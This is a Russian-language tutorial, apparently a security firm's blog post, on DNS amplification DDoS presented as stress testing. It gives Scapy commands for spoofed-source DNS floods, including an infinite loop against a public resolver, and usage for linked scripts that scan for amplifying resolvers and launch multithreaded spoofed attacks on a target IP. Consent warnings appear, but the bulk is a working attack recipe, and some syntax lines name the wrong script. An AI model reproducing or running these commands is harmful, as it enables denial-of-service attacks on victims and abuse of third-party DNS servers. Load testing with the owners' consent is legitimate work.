Стресс тестирование с использованием DNS Amplification DDoS

DNS Amplification это один из видов DDoS атак, который основан на усилении атаки с помощью сторонних, легитимных, DNS серверов. Принцип атаки построен на том, что злоумышленник создаёт короткий запрос к стороннему DNS серверу, но этот запрос отправляется от имени жертвы (IP spoofing, протокол UDP не проверяет отправителя), а DNS сервер отправляет ответ в сторону жертвы, который в несколько раз больше запроса. Это и позволяет провести атаку DNS Amplification, увеличив объём трафика в разы с помощью чужих DNS серверов.

В рамках нагрузочного тестирования можно извлечь из данной атаки пользу. Например для проверки оборудования, которое должно защищать от DoS атак. Естественно для этого в качестве усиливающих DNS серверов нужно использовать только те сервера, владельцы которых дали согласие на подобное “использование” их серверов.

Для проведения тестирования нам потребуется:

  • Рабочая станция с установленной ОС Linux (в примерах используется Linux Debian);
  • Python 2.x;
  • Scapy;
  • Внешний IP адрес(проведение тестирования не возможно через NAT, т.к. UDP пакеты с подменённым адресом будут отфильтрованы при передаче их через NAT).

Поставим все требуемые пакеты:

apt-get install scapy python2.7 git

Теоритическая часть

Для начала, попробуем вручную сделать несколько запросов к DNS серверу, для этого запустим утилиту манипулирования пакетами – Scapy (пакеты нужно отправлять из-под root пользователя):

scapy

Сформируем пакет с DNS запросом:

packet = IP(dst='8.8.8.8')/UDP(sport=12345,dport=53)/DNS(rd=1,qd=DNSQR(qname='google.com',qtype='A'))

Использованные параметры:
Секция IP.
dst – получатель пакета;
Секция UDP (используются UDP пакеты).
sport – порт отправителя;
dport – порт получателя;
Секция DNS.
rd – требуется рекурсия;
qnameDNS запрос;
qtype – тип DNS запроса.

Отправим его:

sr1(packet)

sr1 – отправить один пакет и ждать ответа.

В мы получили ответ от DNS сервера с которым можем ознакомиться.

an=>>>>> ns=None ar=None |>>>

Теперь посмотрим размер отправленного запроса и полученного пакета, для этого получим ответ в переменную, а не в STDOUT:

packetr = sr1(packet)

Сравним размеры пакетов.
Отправленный пакет:

len(packet)
56 байт

Полученный пакет:

len(packetr)
152 байта

Мы получили ответ в 2,71 (152/56) раза больше чем запрос.

Если мы найдем маленький запрос с большим ответом, то коэффициент может получиться гораздо больше (10 и более раз).
DNS запросы с большим размером пакета:

  • запрос корневой зоны DNS (.);
  • запрос доменного с множеством “A” записей (A);
  • запрос больших “TXT” записей;
  • и т.д.

Другие варианты запросов вы можете поискать самостоятельно.
В случае успешно подобранного запроса мы получим разницу в 11 раз (из потока в 10 мб/с мы можем получить 110 мб/с, но правда часть уйдёт на накладные расходы так что коэффициент усиления будет немного ниже). На этом и строится атака DNS Amplification.

Теперь нужно проверить не блокирует ли нас DNS сервер после множественных запросов (это один из методов защиты). Для этого сделаем отправку 500 пакетов без ожидания ответа и после этого отправим контрольный пакет с ожиданием ответа.

Отправка 500 пакетов:

send(packet,inter=0,verbose=0,count=500)

Использованные параметры:
send – отправить без ожидания;
inter – интервал между отправкой пакетов (0-минимальный);
verbose – без отображения;
count – количество пакетов.

Отправляем контрольный пакет:

packetr=sr1(packet,timeout=5)

Использованные параметры:
timeout – время ожидания ответа в секундах.

Если сервер ответил то, скорее всего, он может использоваться для DNS Amplification.

Остается сделать последний штрих. Отправить пакет с поддельным IP адресом в заголовке, чтобы ответы пришли тестируемому серверу, а не нам.

для этого создадим новый пакет:

packet1 = IP(src='1.1.1.1',dst='8.8.8.8')/UDP(sport=12345,dport=53)/DNS(rd=1,qd=DNSQR(qname='google.com',qtype='A'))

Использованные параметры:
srcIP адрес отправителя.

и запускаем отправку пакетов (отправка пакетов с поддельным отправителем должна производиться с устройства имеющего внешний IP адрес, потому что NAT будет блокировать отправку с неизвестных IP адресов):

send(packet1,inter=0,loop=1,verbose=0)

Использованные параметры:
loop – бесконечная отправка пакетов.

Остановить отправку можно с помощью комбинации CtrlC.

У нас получилось создать усиление нашего трафика в 2,71 раза с помощью DNS Amplification.

Автоматизация процесса

Нужно автоматизировать 3 процесса:

  • Поиск DNS серверов с большим коэффициентом усиления;
  • Проверка найденных серверов на отсутствие защиты от множественных запросов;
  • Автоматическая, многопоточная отправка пакетов на множество серверов.

Для автоматизации я написал 3 скрипта.

Скачать их можно на GitHub (https://github.com/BlackDiverX/DNSAmplification):

git clone https://github.com/BlackDiverX/DNSAmplification


dnsamplscan.py
– скрипт сканирования сети для поиска уязвимых DNS серверов;
dnsamplcheck.py – скрипт проверки DNS серверов на возможность DNS Amplification;
dnsamplification.py – скрипт для многопоточной отправки DNS запросов с возможностью спуфинга IP адреса.

dnsamplscan.py

dnsamplscan.py сканирует сегмент сети и создает список серверов с большим коэффициентом усиления.

Синтаксис:

python dnsamplcheck.py [параметры]

Параметры:
-ip – диапазон IP адресов для поиска DNS серверов;
-queryDNS запрос (По умолчанию: .) (требуется);
-querytype – тип DNS запроса (A,MX,PTR и т.д.) (По умолчанию: A);
-timeout – время ожидания ответа от DNS сервера (По умолчанию: 10 сек.);
-aratio – требуемый коэффициент усиления (По умолчанию: 0);
-output – файл со списком найденных серверов (требуется).

Пример запуска:

python dnsamplscan.py -192.168.0.0/24 -query . -querytype A -timeout 5 -aratio 10 -output servers.txt

На выходе мы получим файл servers.txt со списком серверов у которых DNS ответ в разы больше чем запрос.

dnsamplcheck.py

dnsamplcheck.py проверяет список серверов на возможность использования для DNS Amplification.

Синтаксис:

python dnsamplcheck.py [параметры]

Параметры:

-input – входной файл со списком DNS серверов для проверки (требуется);
-timeout – время ожидания ответа от DNS сервера (По умолчанию 2 сек.);
-output – выходной файл со списком проверенных серверов (требуется).

Пример:

python dnsamplcheck.py -input servers.txt -output good-servers.txt

Этот скрипт возьмет список серверов из файла servers.txt (который создан с помощью скрипта dnsamplscan.py), проверит на возможность использования в DNS Amplification и запишет подходящие сервера в файл good-servers.txt.

dnsamplification.py

dnsamplification.py запускает нагрузочное тестирование с использованием DNS Amplification. Для проведения атаки требуется список серверов.

Синтаксис:

python dnsamplcheck.py [параметры]

Параметры:

-targetIP адрес тестируемого сервера (требуется);
-servers – файл со списком DNS серверов для усиления (требуется);
-timeout – время тестирования (в секундах) (По умолчанию: 10 сек.);
-threads – количество потоков для отправки DNS запросов (По умолчанию: 10).

Пример:

python dnsamplification.py -target 192.168.1.2 -servers good-servers.txt -timeout 100 -threads 20

Непосредственное начало атаки для стресс тестирования. В примере запускается тестирование в 20 потоков для адреса 192.168.1.2 с использованием серверов из файла good-servers.txt на 100 секунд.

Не стоит использовать чужие DNS сервера для проведения тестирования. Используйте для этого только сервера, которые разрешили использовать их владельцы.

Заказать Аудит Безопасности или Пентест Вашей IT-инфраструктуры

Быть уверенным в своей IT-инфраструктуре – это быть уверенным в завтрашнем дне.

Для того, чтобы сделать заказ:

Заполните форму обратной связи и мы обязательно с вам свяжемся:
Форма обратной связи
Позвоните нам по телефону:
+7(909)952-44-33
Напишите нам на электронную почту:
order@blackdiver.net
Напишите нам в Telegram:
Telegram
Другие способы связи Вы сможете найти в разделе Контакты.

Please Login to Comment.